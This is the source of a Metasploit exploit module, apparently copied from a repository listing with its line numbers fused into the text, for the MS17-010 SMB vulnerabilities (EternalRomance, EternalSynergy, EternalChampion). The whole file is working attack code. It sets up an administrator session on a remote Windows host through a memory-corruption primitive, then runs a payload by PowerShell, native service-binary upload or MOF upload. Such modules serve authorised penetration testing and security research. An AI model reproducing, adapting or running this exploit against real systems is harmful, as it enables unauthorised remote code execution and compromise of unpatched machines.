Path: blob/master/modules/exploits/windows/smb/ms17_010_psexec.rb
32589 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# Windows XP systems that are not part of a domain default to treating all6# network logons as if they were Guest. This prevents SMB relay attacks from7# gaining administrative access to these systems. This setting can be found8# under:9#10# Local Security Settings >11# Local Policies >12# Security Options >13# Network Access: Sharing and security model for local accounts1415class MetasploitModule < Msf::Exploit::Remote16Rank = NormalRanking1718include Msf::Exploit::Remote::SMB::Client::Psexec_MS17_01019include Msf::Exploit::Remote::SMB::Client::Psexec20include Msf::Exploit::Remote::CheckModule21include Msf::Exploit::Powershell22include Msf::Exploit::EXE23include Msf::Exploit::WbemExec24include Msf::Auxiliary::Report2526def initialize(info = {})27super(28update_info(29info,30'Name' => 'MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution',31'Description' => %q{32This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where33primitive. This will then be used to overwrite the connection session information with as an34Administrator session. From there, the normal psexec payload code execution is done.3536Exploits a type confusion between Transaction and WriteAndX requests and a race condition in37Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy38exploits. This exploit chain is more reliable than the EternalBlue exploit, but requires a39named pipe.40},41'Author' => [42'sleepya', # zzz_exploit idea and offsets43'zerosum0x0',44'Shadow Brokers',45'Equation Group'46],47'License' => MSF_LICENSE,48'DefaultOptions' => {49'EXITFUNC' => 'thread',50'CheckModule' => 'auxiliary/scanner/smb/smb_ms17_010',51'WfsDelay' => 1052},53'References' => [54[ 'MSB', 'MS17-010' ],55[ 'CVE', '2017-0143'], # EternalRomance/EternalSynergy - Type confusion between WriteAndX and Transaction requests56[ 'CVE', '2017-0146'], # EternalChampion/EternalSynergy - Race condition with Transaction requests57[ 'CVE', '2017-0147'], # for EternalRomance reference58[ 'URL', 'https://github.com/worawit/MS17-010' ],59[ 'URL', 'https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf' ],60[ 'URL', 'https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/' ],61[ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ],62[ 'ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER ],63[ 'ATT&CK', Mitre::Attack::Technique::T1059_001_POWERSHELL ],64# T1021_002_SMB_WINDOWS_ADMIN_SHARES replaces the deprecated T1077_WINDOWS_ADMIN_SHARES65[ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ],66[ 'ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION ]67],68'Payload' => {69'Space' => 3072,70'DisableNops' => true71},72'Platform' => 'win',73'Arch' => [ARCH_X86, ARCH_X64],74'Targets' => [75[ 'Automatic', {} ],76[ 'PowerShell', {} ],77[ 'Native upload', {} ],78[ 'MOF upload', {} ]79],80'DefaultTarget' => 0,81'DisclosureDate' => '2017-03-14',82'Notes' => {83'AKA' => [84'ETERNALSYNERGY',85'ETERNALROMANCE',86'ETERNALCHAMPION',87'ETERNALBLUE' # does not use any CVE from Blue, but Search should show this, it is preferred88],89'Stability' => UNKNOWN_STABILITY,90'Reliability' => UNKNOWN_RELIABILITY,91'SideEffects' => UNKNOWN_SIDE_EFFECTS92}93)94)9596register_options(97[98OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])99]100)101102register_advanced_options(103[104OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),105OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary", nil]),106OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),107OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub", nil])108]109)110111deregister_options('SMB::ProtocolVersion')112end113114def validate_service_stub_encoder!115service_encoder = datastore['SERVICE_STUB_ENCODER']116return if service_encoder.nil? || service_encoder.empty?117118encoder = framework.encoders[service_encoder]119if encoder.nil?120raise Msf::OptionValidateError.new(121{122'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"123}124)125end126end127128def exploit129validate_service_stub_encoder!130131begin132if datastore['SMBUser'].present?133print_status("Authenticating to #{datastore['RHOST']} as user '#{splitname(datastore['SMBUser'])}'...")134end135eternal_pwn(datastore['RHOST'])136smb_pwn()137rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e138print_error("#{e.message}")139rescue ::Errno::ECONNRESET,140::Rex::Proto::SMB::Exceptions::LoginError,141::Rex::HostUnreachable,142::Rex::ConnectionTimeout,143::Rex::ConnectionRefused => e144print_error("#{e.class}: #{e.message}")145rescue => error146print_error(error.class.to_s)147print_error(error.message)148print_error(error.backtrace.join("\n"))149ensure150eternal_cleanup() # restore session151end152end153154def smb_pwn155service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"156service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''157158case target.name159when 'Automatic'160if powershell_installed?(datastore['SHARE'], datastore['PSH_PATH'])161print_status('Selecting PowerShell target')162execute_powershell_payload163else164print_status('Selecting native target')165native_upload(datastore['SHARE'], service_filename, service_encoder)166end167when 'PowerShell'168execute_powershell_payload169when 'Native upload'170native_upload(datastore['SHARE'], service_filename, service_encoder)171when 'MOF upload'172mof_upload(datastore['SHARE'])173end174175handler176end177end178179180181